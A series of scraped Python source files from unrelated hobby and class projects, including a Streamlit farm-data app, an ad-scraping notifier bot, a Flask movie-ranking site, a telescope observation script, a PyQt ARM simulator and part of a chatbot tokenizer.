',0.0,1.0,value = Farm_data['Farm_2'][6])\n \n st.write('Farm 3: ')\n Farm_data['Farm_3'][0] = st.number_input('Farm 3 Latitude : ',-90.0,90.0,value = Farm_data['Farm_3'][0],format='%f')\n Farm_data['Farm_3'][1] = st.number_input('Farm 3 Longitude : ',-180.0,180.0,value = Farm_data['Farm_3'][1],format='%f')\n Farm_data['Farm_3'][2] = st.number_input('Farm 3 Manure volume (m^3): ',-180.0,180.0,value = Farm_data['Farm_3'][2])\n Farm_data['Farm_3'][3] = st.number_input('Farm 3 Manure Solid percentage (%): ',0.0,1.0,value = Farm_data['Farm_3'][3])\n Farm_data['Farm_3'][4] = st.number_input('Farm 3 Cattle Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_3'][4])\n Farm_data['Farm_3'][5] = st.number_input('Farm 3 Swine Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_3'][5])\n Farm_data['Farm_3'][6] = st.number_input('Farm 3 Poultry Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_3'][6])\n \n st.write('Farm 4: ')\n Farm_data['Farm_4'][0] = st.number_input('Farm 4 Latitude : ',-90.0,90.0,value = Farm_data['Farm_4'][0],format='%f')\n Farm_data['Farm_4'][1] = st.number_input('Farm 4 Longitude : ',-180.0,180.0,value = Farm_data['Farm_4'][1],format='%f')\n Farm_data['Farm_4'][2] = st.number_input('Farm 4 Manure volume (m^3): ',-180.0,180.0,value = Farm_data['Farm_4'][2])\n Farm_data['Farm_4'][3] = st.number_input('Farm 4 Manure Solid percentage (%): ',0.0,1.0,value = Farm_data['Farm_4'][3])\n Farm_data['Farm_4'][4] = st.number_input('Farm 4 Cattle Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_4'][4])\n Farm_data['Farm_4'][5] = st.number_input('Farm 4 Swine Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_4'][5])\n Farm_data['Farm_4'][6] = st.number_input('Farm 4 Poultry Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_4'][6])\n \n st.write('Farm 5: ')\n Farm_data['Farm_5'][0] = st.number_input('Farm 5 Latitude : ',-90.0,90.0,value = Farm_data['Farm_5'][0],format='%f')\n Farm_data['Farm_5'][1] = st.number_input('Farm 5 Longitude : ',-180.0,180.0,value = Farm_data['Farm_5'][1],format='%f')\n Farm_data['Farm_5'][2] = st.number_input('Farm 5 Manure volume (m^3): ',-180.0,180.0,value = Farm_data['Farm_5'][2])\n Farm_data['Farm_5'][3] = st.number_input('Farm 5 Manure Solid percentage (%): ',0.0,1.0,value = Farm_data['Farm_5'][3])\n Farm_data['Farm_5'][4] = st.number_input('Farm 5 Cattle Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_5'][4])\n Farm_data['Farm_5'][5] = st.number_input('Farm 5 Swine Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_5'][5])\n Farm_data['Farm_5'][3] = st.number_input('Farm 5 Poultry Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_5'][6])\n \n st.write('Farm 6: ')\n Farm_data['Farm_6'][0] = st.number_input('Farm 6 Latitude : ',-90.0,90.0,value = Farm_data['Farm_6'][0],format='%f')\n Farm_data['Farm_6'][1] = st.number_input('Farm 6 Longitude : ',-180.0,180.0,value = Farm_data['Farm_6'][1],format='%f')\n Farm_data['Farm_6'][2] = st.number_input('Farm 6 Manure volume (m^3): ',-180.0,180.0,value = Farm_data['Farm_6'][2])\n Farm_data['Farm_6'][3] = st.number_input('Farm 6 Manure Solid percentage (%): ',0.0,1.0,value = Farm_data['Farm_6'][3])\n Farm_data['Farm_6'][4] = st.number_input('Farm 6 Cattle Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_6'][4])\n Farm_data['Farm_6'][5] = st.number_input('Farm 6 Swine Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_6'][5])\n Farm_data['Farm_6'][6] = st.number_input('Farm 6 Poultry Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_6'][6])\n \n st.write('Farm 7: ')\n Farm_data['Farm_7'][0] = st.number_input('Farm 7 Latitude : ',-90.0,90.0,value = Farm_data['Farm_7'][0],format='%f')\n Farm_data['Farm_7'][1] = st.number_input('Farm 7 Longitude : ',-180.0,180.0,value = Farm_data['Farm_7'][1],format='%f')\n Farm_data['Farm_7'][2] = st.number_input('Farm 7 Manure volume (m^3): ',-180.0,180.0,value = Farm_data['Farm_7'][2])\n Farm_data['Farm_7'][3] = st.number_input('Farm 7 Manure Solid percentage (%): ',0.0,1.0,value = Farm_data['Farm_7'][3])\n Farm_data['Farm_7'][4] = st.number_input('Farm 7 Cattle Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_7'][4])\n Farm_data['Farm_7'][5] = st.number_input('Farm 7 Swine Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_7'][5])\n Farm_data['Farm_7'][6] = st.number_input('Farm 7 Poultry Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_7'][6])\n \n if st.button('Update Transportation model with new farm information'):\n st.write('Please wait a little while we update the model')\n session_state.Farm_data = copy.deepcopy(Farm_data)\n session_state.dict_T = createTransportSurrogateModel(update_user_dict())\n st.write('Done')\ndef page3():\n st.title('Model explanation and final report: ')\n st.header('This is an optimization model for biodigestors created for the MIT EM.428 class of Spring 2021')\n st.subheader('By: Ricardo Hopker, Niek van Rensburg, Jacqueline Baidoo and ByeongJo Kong')\n st.subheader('')\n pdf = 'Pset 4 Ricardo Hopker.pdf'\n pdf_file = open(pdf, 'rb')\n base64_pdf = base64.b64encode(pdf_file.read()).decode('Latin-1')\n pdf_display = f'' \n st.markdown(pdf_display, unsafe_allow_html=True)\n\n\nmain()","sub_path":"forFun_StreamLitTry.py","file_name":"forFun_StreamLitTry.py","file_ext":"py","file_size_in_byte":26962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"432108523","text":"from requests import get\nfrom bs4 import BeautifulSoup\nfrom pprint import pprint\nfrom datetime import datetime\nimport threading\n\nimport sys\nimport subprocess\n\nif sys.platform == 'win32':\n from win10toast import ToastNotifier\n\n# Urls\nTONATON_BASE = \"https://tonaton.com\"\nTONATON_URL = \"https://tonaton.com/en/ads/ghana/electronics\"\nTONATON_SEARCH_URL = \"https://tonaton.com/en/ads/ghana/electronics?query=\"\n\n\nLAST_CHECKED = datetime.strptime(\"9 Aug 8:00 pm\", \"%d %b %I:%M %p\")\n\nresponse = get(TONATON_URL)\nhtml = BeautifulSoup(response.content, 'html.parser')\n\n\ndef get_html_soup(link):\n '''\n Accesses url and returns beautifulsoup of the pafe\n '''\n response = get(link)\n html = BeautifulSoup(response.content, 'html.parser')\n return html\n\n\ndef get_extra_dets(item_url):\n '''\n This goes futher into an ads page and extracts extra info\n Currently extracts only date\n '''\n html = get_html_soup(item_url)\n date = html.select(\".date\")[0].text\n return date\n\n\ndef search_for(item):\n '''\n Main code to handle searching for [item]\n '''\n item_search_url = TONATON_SEARCH_URL + item\n html = get_html_soup(item_search_url)\n\n result_list = html.find(\"div\", {\"class\": \"serp-items\"})\n\n ads = result_list.select(\".ui-item\")\n ad_dict = []\n for ad in ads:\n ad_title = ad.select(\".item-title\")[0].text\n ad_price = ad.select(\".item-info\")[0].text\n ad_url = TONATON_BASE + ad.select(\".item-title\")[0][\"href\"]\n ad_date = get_extra_dets(ad_url)\n proper_date = datetime.strptime(ad_date, \"%d %b %I:%M %p\")\n\n if proper_date > LAST_CHECKED:\n ad_dict.append(\n {\"name\": ad_title, \"price\": ad_price, \"date\": ad_date, \"proper_date\": proper_date})\n\n return ad_dict\n\n\ndef show_notifications(heading, text, seconds):\n '''\n This function shows a desktop notification\n '''\n if sys.platform.lower() == 'linux': # Linux Ubuntu\n subprocess.call(['notify-send', heading, text, '-t', '3'])\n\n if sys.platform.lower() == 'darwin': # MacOS Mavericks +\n subprocess.call(['osascript', '-e', \n 'display notification \"{0}\" with title \"{1}\"'.format(text, heading)])\n\n elif sys.platform.lower() == 'win32': # Windows\n toaster = ToastNotifier()\n toaster.show_toast(heading, text, duration=3)\n\n\ndef run(searchTerm, interval):\n '''\n Entry point of the program\n '''\n threading.Timer(interval, run).start()\n ads = search_for(searchTerm)\n LAST_CHECKED = datetime.now().strftime(\"%d %b %I:%M %p\")\n\n if len(ads) == 0:\n show_notifications(\"Tonabot!\", \"No ads found\", 2)\n else:\n for ad in ads:\n information = ad[\"price\"] + \"\\n\" + ad[\"name\"]\n show_notifications(\"Tonabot!\", information, 3)\n\n\nrun(\"iphone 8\", 120.0)\n","sub_path":"tonabot.py","file_name":"tonabot.py","file_ext":"py","file_size_in_byte":2825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"395987250","text":"class Car(object):\r\n num_of_doors=4\r\n \r\n \r\n def __init__(self,name='General',model='GM',car_type='saloon',speed=0):\r\n self.name=name\r\n self.model=model\r\n self.car_type=car_type\r\n self.speed=speed\r\n self.num_of_wheels=4\r\n \r\n \r\n \r\n if name == \"Porshe\" or name == \"Koenigsegg\":\r\n self.num_of_doors = 2\r\n else:\r\n self.num_of_doors = 4\r\n if self.car_type == \"trailer\":\r\n self.num_of_wheels = 8\r\n self.speed = 0\r\n \r\n \r\n\t\t\t\r\n def is_saloon(self):\r\n '''Checks if the type of car is saloon or trailer'''\r\n if self.car_type is not'trailer':\r\n return True\r\n \r\n return False\r\n \r\n \r\n\r\n def drive(self, speed):\r\n '''Check the type of car and returns its speed'''\r\n if self.car_type is 'trailer':\r\n self.speed = 77\r\n else:\r\n self.speed = 10 ** speed\r\n return self\r\n \r\n \r\n \r\n \r\n \r\n \r\n","sub_path":"car.py","file_name":"car.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"16119693","text":"import torch\nimport numpy as np\nfrom torch.nn.functional import softmax\nimport cv2\n\n\nclass SaveFeatures(object):\n def __init__(self, m):\n self.features = None\n self.hook = m.register_forward_hook(self.hook_fn)\n\n def hook_fn(self, module, input, output):\n self.features = output.data.cpu()\n\n def remove(self):\n self.hook.remove()\n\n\nclass FeaturesExtractor(object):\n def __init__(self, model, layer_name, data_size):\n self.model = model\n self.final_layer = self.model._modules.get(layer_name)\n self.data_size = data_size\n assert self.final_layer\n self.activated_features = None\n\n def connect(self):\n self.activated_features = SaveFeatures(self.final_layer)\n\n def remove(self):\n self.activated_features.remove()\n\n def get_cam(self, model_output):\n probability_ = softmax(model_output.cpu(), dim=1).data.squeeze()\n class_idx = torch.topk(probability_, 1)[1].int().numpy()[0]\n weight_softmax_params = self.model._modules.get('fc').parameters()\n weight_softmax_params = list(weight_softmax_params)\n weight_softmax = np.squeeze(weight_softmax_params[0].cpu().data.numpy())\n _, nc, n_size = self.activated_features.features.shape\n cam = weight_softmax[class_idx].dot(self.activated_features.features.reshape((nc, n_size)))\n cam = cam.reshape(1, n_size)\n cam = cam - np.min(cam)\n cam = cam / np.max(cam)\n cam_img = cv2.resize(cam[0], (1, self.data_size))\n return cam_img\n","sub_path":"feature_extractor.py","file_name":"feature_extractor.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"294524796","text":"from flask import Flask, render_template, redirect, url_for, request\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_bootstrap import Bootstrap\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField\nfrom wtforms.validators import DataRequired\nimport requests\n\napp = Flask(__name__)\nBootstrap(app)\n\nAPI_KEY = '3eba189493401856ded4c3b309b3868c'\nSEARCH_MOVIE_URL = 'https://api.themoviedb.org/3/search/movie'\nGET_SEARCH_MOVIE_URL = 'https://api.themoviedb.org/3/movie'\nMOVIE_DB_IMAGE_URL = \"https://image.tmdb.org/t/p/w500\"\n\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///movies.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['SECRET_KEY'] = 'qwertyuioplkjhgfdsa'\n\ndb = SQLAlchemy(app)\n\nclass Movie(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(255), nullable=False, unique=True)\n year = db.Column(db.Integer, nullable=False)\n description = db.Column(db.String(1000), nullable=False)\n rating = db.Column(db.Float, nullable=True)\n ranking = db.Column(db.Integer, nullable=True)\n review = db.Column(db.String(255), nullable=True)\n img_url = db.Column(db.String(255), nullable=False)\n\ndb.create_all()\n\n# new_movie = Movie(\n# title=\"Phone Booth\",\n# year=2002,\n# description=\"Publicist Stuart Shepard finds himself trapped in a phone booth, pinned down by an extortionist's sniper rifle. Unable to leave or receive outside help, Stuart's negotiation with the caller leads to a jaw-dropping climax.\",\n# rating=7.3,\n# ranking=10,\n# review=\"My favourite character was the caller.\",\n# img_url=\"https://image.tmdb.org/t/p/w500/tjrX2oWRCM3Tvarz38zlZM7Uc10.jpg\"\n# )\n# db.session.add(new_movie)\n# db.session.commit()\n\nclass EditForm(FlaskForm):\n rating = StringField(label='Your Rating out of 10 e.g 9.3')\n review = StringField(label='Your Review')\n submit = SubmitField(label='Done')\n\nclass AddMovie(FlaskForm):\n title = StringField(label='Movie Name', validators=[DataRequired()])\n submit = SubmitField(label='Add')\n\n@app.route(\"/\")\ndef home():\n all_movies = Movie.query.order_by(Movie.rating).all()\n for i in range(len(all_movies)):\n all_movies[i].ranking = len(all_movies) - i\n return render_template(\"index.html\", movies=all_movies)\n\n\n@app.route('/add', methods=[\"GET\", \"POST\"])\ndef add():\n form = AddMovie()\n if form.validate_on_submit():\n movie_title = form.title.data\n response = requests.get(url=SEARCH_MOVIE_URL, params={\"api_key\": API_KEY, \"query\": movie_title})\n data = response.json()[\"results\"]\n return render_template(\"select.html\", options=data)\n return render_template(\"add.html\", form=form)\n\n@app.route('/select')\ndef find_movie():\n movie_id = request.args.get('id')\n if movie_id:\n movie_api_url = f\"https://api.themoviedb.org/3/movie/{movie_id}\"\n response = requests.get(movie_api_url, params={\"api_key\": API_KEY})\n data = response.json()\n new_movies = Movie(\n title=data[\"title\"],\n year=data[\"release_date\"].split('-')[0],\n img_url=f\"{MOVIE_DB_IMAGE_URL}{data['poster_path']}\",\n description=data[\"overview\"]\n )\n db.session.add(new_movies)\n db.session.commit()\n return redirect(url_for('edit', id=new_movies.id))\n\n\n@app.route('/edit', methods=[\"GET\", \"POST\"])\ndef edit():\n form = EditForm()\n movie_id = request.args.get('id')\n movie = Movie.query.get(movie_id)\n if form.validate_on_submit():\n movie.rating = float(form.rating.data)\n movie.review = form.review.data\n db.session.commit()\n return redirect(url_for('home'))\n return render_template(\"edit_rating.html\", movies=movie, form=form)\n\n@app.route('/delete')\ndef delete():\n movie_id = request.args.get('id')\n movie_to_delete = Movie.query.get(movie_id)\n db.session.delete(movie_to_delete)\n db.session.commit()\n return redirect(url_for('home'))\n\n\nif __name__ == '__main__':\n app.run(debug=True)","sub_path":"TOP 10 Movie/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"455384533","text":"#!/home/obsuser/miniconda3/envs/ATAobs/bin/python\nimport atexit\nfrom ATATools import ata_control, logger_defaults\nfrom SNAPobs import snap_dada, snap_if\nfrom ATATools import ata_sources\nimport numpy as np\nimport sys\nimport time\nimport argparse\nimport logging\nimport os\n\ndef main():\n logger = logger_defaults.getProgramLogger(\"observe\", \n loglevel=logging.INFO)\n\n # multiple source observation\n ant_list = [\"1c\", \"1e\", \"1g\", \"1h\", \"1k\", \"2a\", \"2b\", \"2c\",\n \"2e\", \"2h\", \"2j\", \"2l\", \"2k\", \"2m\", \"3c\", \"3d\",\n \"3l\", \"4j\", \"5b\", \"4g\"] \n \n antlo_list = [ant+lo for ant in ant_list for lo in ['B', 'C']]\n \n \n freqs = [6000]*len(ant_list)\n freqs_c = [3000]*len(ant_list)\n\n\n ata_control.reserve_antennas(ant_list)\n atexit.register(ata_control.release_antennas, ant_list, False)\n\n ata_control.set_freq(freqs, ant_list, lo='b')\n ata_control.set_freq(freqs_c, ant_list, lo='c', nofocus=True)\n\n #time.sleep(30)\n \n print(\"Aquiring source list\")\n \n lista = []\n \n with open(\"source_radec_ant_cal.txt\") as f:\n source_list = f.readlines()[1:]\n\n for x in source_list:\n lista.append(x.split(' ')[0])\n\n source_name = lista\n\n print(source_name)\n\n do_autotune = True\n \n while True:\n for i, source in enumerate(source_name):\n print(i, source)\n\n if 85 > ata_sources.check_source(source)['el'] > 21:\n \n ata_control.make_and_track_ephems(source, ant_list)\n\n if do_autotune:\n ata_control.autotune(ant_list)\n snap_if.tune_if_antslo(antlo_list)\n do_autotune = False\n \n\n print(\"Tuning complete\")\n\n #time.sleep(20)\n\n obs_time = 930 #610 #925 #seconds\n\n print(\"=\"*79)\n print(\"Starting new obs\")\n print(\"start_record_in_x.py -H 1 2 3 4 5 6 7 8 -i 15 -n %i\" %obs_time)\n os.system(\"start_record_in_x.py -H 1 2 3 4 5 6 7 8 -i 15 -n %i\" %obs_time)\n print(\"Recording on sky source %s...\" %source)\n time.sleep(obs_time+15+20)\n\n print(\"=\"*79)\n print(\"Obs completed\")\n \n else:\n print(str(source) + \" is not high (or low) enough to observe, trying again once all others are targeted\")\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"ObservationScripts/observe_source_radeclist.py","file_name":"observe_source_radeclist.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"334751346","text":"\n\nfrom xai.brain.wordbase.nouns._roadside import _ROADSIDE\n\n#calss header\nclass _ROADSIDES(_ROADSIDE, ):\n\tdef __init__(self,): \n\t\t_ROADSIDE.__init__(self)\n\t\tself.name = \"ROADSIDES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"roadside\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_roadsides.py","file_name":"_roadsides.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"55596564","text":"import sys\nfrom PyQt5.QtCore import Qt, QRect\nfrom PyQt5.QtGui import QIcon, QPixmap, QMovie\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QLabel, QFrame, QWidget, QPlainTextEdit, QGroupBox, QPushButton, QTableWidget, QTableWidgetItem, QAbstractItemView\nfrom Codigo import Codigo\n\nclass SimulationWindow(QMainWindow):\n def __init__(self):\n QMainWindow.__init__(self)\n QMainWindow.setWindowFlags(self,Qt.MSWindowsFixedSizeDialogHint)\n self.setWindowTitle(\"Simulador\")\n self.setWindowIcon(QIcon(\"Imagenes/venadocolaBlanca.png\"))\n self.resize(800,580)\n \n self.fondoMainWindow()\n self.centralwidget = QWidget(self)\n self.setCentralWidget(self.centralwidget)\n\n self.codigo = Codigo(\"Codigo.txt\")\n self.grupoDeComponentes()\n self.separadores()\n self.ptEjecutar.clicked.connect(self.prueba)\n self.ptNuevo.clicked.connect(self.limpiarVentana)\n\n def limpiarVentana(self):\n self.cuadroDeTexto.setPlainText(\"\")\n\n def prueba(self):\n fileW = open(\"Codigo.txt\",\"w\")\n fileW.write(self.cuadroDeTexto.toPlainText())\n fileW.close()\n \n self.codigo = Codigo(\"Codigo.txt \")\n self.codigo.exec_data(self.codigo.registro[\"lineaData\"])\n self.codigo.exec_text(self.codigo.registro[\"lineaText\"])\n self.actualizarTablas()\n self.resultadoEjecucuion()\n # print(self.codigo.registro)\n # print(self.codigo.ram)\n \n def resultadoEjecucuion(self):\n if self.codigo.registro[\"lineaError\"] is None:\n self.resultado.appendPlainText(\"Programa finalizado de forma exitosa...\")\n else:\n self.resultado.appendPlainText(\"\"\"%s %s %s\"\"\"%(self.codigo.registro[\"lineaError\"],self.codigo.registro[\"error\"],self.codigo.registro[\"descrError\"]))\n\n def fondoMainWindow(self):\n fondo = QLabel(self)\n fondo.setGeometry(QRect(-30,0,860,580))\n imagen = QPixmap(\"Imagenes/fondoMain1.png\") \n fondo.setPixmap(imagen)\n fondo.setScaledContents(True)\n\n def grupoDeComponentes(self):\n self.grupoDeComponentes = QGroupBox(self.centralwidget)\n self.grupoDeComponentes.setGeometry(QRect(0,0,800,580))\n self.plainText(self.grupoDeComponentes)\n self.tablas(self.grupoDeComponentes)\n self.botones(self.grupoDeComponentes)\n\n \n def plainText(self, espacio):\n self.cuadroDeTexto = QPlainTextEdit(espacio)\n self.cuadroDeTexto.setGeometry(QRect(200,10,400,380))\n self.cuadroDeTexto.setPlainText(\"\"\".data\nword1: .word 0x10203040\nhword2: .hword 0x5060\nbyte3: .byte 22\n\n.text\nmov r0, #220\nmov r1, #4\nmov r2, #22\nmov r3,#6\nmov r4,#254\nldr r5, =byte3\n\n \"\"\")\n self.resultado = QPlainTextEdit(espacio)\n self.resultado.setGeometry(QRect(10,440,780,125))\n self.resultado.setReadOnly(True)\n self.resultado.setPlainText(\"\"\"QtARMSim version 0.4.16\n(c) 2014-19 Sergio Barrachina Mir\nDeveloped at the Jaume I University, Castellón, Spain.\n\nConnected to ARMSim (ARMSim version info follows).\nV 1.4\n(c) 2014 Germán Fabregat\nATC - UJI \"\"\")\n def tablas(self, espacio):\n self.tablaRegistros = QTableWidget(espacio)\n self.tablaRegistros.setGeometry(QRect(10,10,145,380))\n self.tablaRegistros.setColumnCount(1)\n self.tablaRegistros.setRowCount(16) \n nombreFilas=[]\n for x in range(0,16):\n nombreFilas.append(\"r%s\"%x)\n self.tablaRegistros.setItem(x,0,QTableWidgetItem(\"0x00000000\"))\n self.tablaRegistros.setVerticalHeaderLabels(nombreFilas)\n nombreColumna = [\"Registros\"]\n self.tablaRegistros.setHorizontalHeaderLabels(nombreColumna)\n self.tablaRegistros.setAlternatingRowColors(True)\n self.tablaRegistros.setSelectionMode(QAbstractItemView.SingleSelection)#Seleccionar una celda a la vez\n\n self.tablaMemoria = QTableWidget(espacio)\n self.tablaMemoria.setGeometry(QRect(635,10,145,380))\n #self.tablaMemoria.verticalHeader().setVisible(False)\n self.tablaMemoria.setColumnCount(1)\n self.tablaMemoria.setRowCount(40)\n fila=0\n nombreFilas=[]\n for key in self.codigo.ram:\n self.tablaMemoria.setItem(fila,0,QTableWidgetItem(self.codigo.ram[key]))\n nombreFilas.append(key)\n fila+=1\n self.tablaMemoria.setVerticalHeaderLabels(nombreFilas)\n self.tablaMemoria.setAlternatingRowColors(True)\n nombreColumna = [\"RAM\"]\n self.tablaMemoria.setHorizontalHeaderLabels(nombreColumna)\n self.tablaMemoria.setColumnWidth(0,50)\n self.tablaMemoria.setSelectionMode(QAbstractItemView.SingleSelection)#Seleccionar una celda a la vez\n\n def actualizarTablas(self):\n for x in range(0,16):\n self.tablaRegistros.setItem(x,0,QTableWidgetItem(self.codigo.registro[\"r%s\"%x]))\n fila=0\n for key in self.codigo.ram:\n self.tablaMemoria.setItem(fila,0,QTableWidgetItem(self.codigo.ram[key]))\n fila+=1\n\n def botones(self, espacio):\n self.ptNuevo = QPushButton(espacio)\n self.ptNuevo.setText(\"Nuevo\")\n self.ptNuevo.setGeometry(QRect(200,400,200,35))\n self.ptNuevo.setIcon(QIcon(\"Imagenes/signs.png\"))\n\n self.ptEjecutar = QPushButton(espacio)\n self.ptEjecutar.setText(\"Ejecutar\")\n self.ptEjecutar.setGeometry(QRect(405,400,195,35))\n self.ptEjecutar.setIcon(QIcon(\"Imagenes/computer.png\"))\n\n def separadores(self):\n line=QFrame(self) \n line.setGeometry(QRect(165,20,20,350)) \n line.setFrameShape(QFrame.VLine) \n line.setFrameShadow(QFrame.Raised) \n #line.setLineWidth(2) \n\n line2=QFrame(self) \n line2.setGeometry(QRect(610,20,20,350)) \n line2.setFrameShape(QFrame.VLine) \n line2.setFrameShadow(QFrame.Raised) \n\n\n","sub_path":"Arquitectura/SimulationWindow.py","file_name":"SimulationWindow.py","file_ext":"py","file_size_in_byte":6021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"191150067","text":"# Copyright 2017 Bo Shao. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\nimport nltk\nimport numpy as np\nimport pickle\nimport random\nimport string\n\nfrom chatbot.knowledgebase import KnowledgeBase\nfrom chatbot.rawtext import RawText\nfrom chatbot.functiondata import call_function\n\n\nclass TokenizedData:\n def __init__(self, dict_file, knbase_dir=None, corpus_dir=None, augment=True):\n \"\"\"\n For training, both knbase_dir and corpus_dir need to be specified. For prediction, none of\n them should be given. In case only one is specified, it is ignored.\n Args:\n dict_file: The name of the pickle file saves the object used for prediction.\n knbase_dir: Name of the folder storing data files for the knowledge base.\n corpus_dir: Name of the folder storing corpus files for training.. When this is given, \n it is for training, and the dict_file will be generated (again). Otherwise, dict_file \n will be read only for the basic information.\n augment: Whether to apply data augmentation approach. Default to be True.\n \"\"\"\n assert dict_file is not None\n\n # Use a number of buckets and pad the data samples to the smallest one that can accommodate.\n # For decoders, 2 slots are reserved for bos_token and eos_token. Therefore the really slots\n # available for words/punctuations are 2 less, i.e., 12, 20, 40 based on the following numbers\n # self.buckets = [(10, 14), (18, 22), (36, 42)]\n self.buckets = [(12, 18), (36, 42)]\n\n # Number of samples for sampled softmax. Define it here so that both the trainer and predictor\n # can easily access it.\n self.num_samples = 512\n\n # Python dicts that hold basic information\n if knbase_dir is None or corpus_dir is None: # If only one is given, it is ignored\n with open(dict_file, 'rb') as fr:\n dicts1, dicts2 = pickle.load(fr)\n d11, d12, d13, d14, d15 = dicts1\n d21, d22, d23 = dicts2\n\n self.upper_words = d11\n self.multi_words = d12\n self.multi_max_cnt = d13 # Just a number\n self.stories = d14\n self.jokes = d15 # A python list\n\n self.word_id_dict = d21\n self.id_word_dict = d22\n self.id_cnt_dict = d23\n else:\n self.upper_words = {}\n self.multi_words = {}\n self.multi_max_cnt = 0\n self.stories = {}\n self.jokes = []\n\n self.word_id_dict = {}\n self.id_word_dict = {}\n self.id_cnt_dict = {}\n\n # Add special tokens\n self._add_special_tokens()\n\n # Each item in the inner list contains a pair of question and its answer [[input, target]]\n self.training_samples = [[] for _ in self.buckets]\n self.sample_size = []\n for _ in self.buckets:\n self.sample_size.append(0)\n\n if knbase_dir is not None and corpus_dir is not None:\n self._load_knbase_and_corpus(knbase_dir, corpus_dir, augment=augment)\n\n dicts1 = (self.upper_words, self.multi_words, self.multi_max_cnt, self.stories, self.jokes)\n dicts2 = (self.word_id_dict, self.id_word_dict, self.id_cnt_dict)\n dicts = (dicts1, dicts2)\n with open(dict_file, 'wb') as fw:\n pickle.dump(dicts, fw, protocol=pickle.HIGHEST_PROTOCOL)\n\n self.vocabulary_size = len(self.word_id_dict)\n\n def get_word_id(self, word, keep_case=False, add=True):\n \"\"\"\n Get the id of the word (and add it to the dictionary if not existing). If the word does not\n exist and add is False, the function will return the unk_token value.\n Args:\n word: Word to add.\n keep_case: Whether to keep the original case. If False, will use its lower case \n counterpart.\n add: If True and the word does not exist already, the world will be added.\n Return:\n word_id: The ID of the word created.\n \"\"\"\n if not keep_case:\n word = word.lower() # Ignore case\n\n # At inference, we simply look up for the word\n if not add:\n word_id = self.word_id_dict.get(word, self.unk_token)\n # Get the id if the word already exist\n elif word in self.word_id_dict:\n word_id = self.word_id_dict[word]\n self.id_cnt_dict[word_id] += 1\n # If not, we create a new entry\n else:\n word_id = len(self.word_id_dict)\n self.word_id_dict[word] = word_id\n self.id_word_dict[word_id] = word\n self.id_cnt_dict[word_id] = 1\n\n return word_id\n\n def get_training_batches(self, batch_size):\n \"\"\"\n Prepare all the batches for the current epoch\n Args:\n batch_size: The batch_size for min-batch training.\n Return:\n batches: A list of the batches for the coming epoch of training.\n \"\"\"\n def yield_batch_samples():\n \"\"\"\n Generator a batch of training samples\n \"\"\"\n rand_list = np.random.permutation([x for x in range(len(self.buckets))])\n\n for bucket_id in rand_list:\n # print(\"bucket_id = {}\".format(bucket_id))\n\n samp_size = self.sample_size[bucket_id]\n if samp_size == 0: continue\n training_set = np.random.permutation(self.training_samples[bucket_id])\n\n for i in range(0, samp_size, batch_size):\n yield bucket_id, training_set[i:min(i+batch_size, samp_size)]\n\n batches = []\n # This for loop will loop through all the sample over the whole epoch\n for bucket_id, samples in yield_batch_samples():\n batch = self._create_batch(samples, bucket_id)\n batches.append(batch)\n\n return batches\n\n def get_predict_batch(self, sentence, use_bucket='Last'):\n \"\"\"\n Encode a sequence and return a batch as an input for prediction.\n Args:\n sentence: A sentence in plain text to encode.\n use_bucket: Options are, This, Next, and Last. Default to Last. Indicates which bucket\n to use by given sentence. \n Return:\n batch: A batch object based on the giving sentence, or None if something goes wrong\n \"\"\"\n word_id_list = []\n\n if sentence == '':\n unk_cnt = random.randint(1, 4)\n for i in range(unk_cnt): # Should respond based on the corresponding training sample\n word_id_list.append(self.unk_token)\n else:\n tokens = nltk.word_tokenize(sentence)\n\n for m in range(self.multi_max_cnt, 1, -1):\n # Slide the sentence with stride 1, window size m, and look for match\n for n in range(0, len(tokens) - m + 1, 1):\n tmp = ' '.join(tokens[n:n+m]).strip().lower()\n if tmp in self.multi_words:\n # 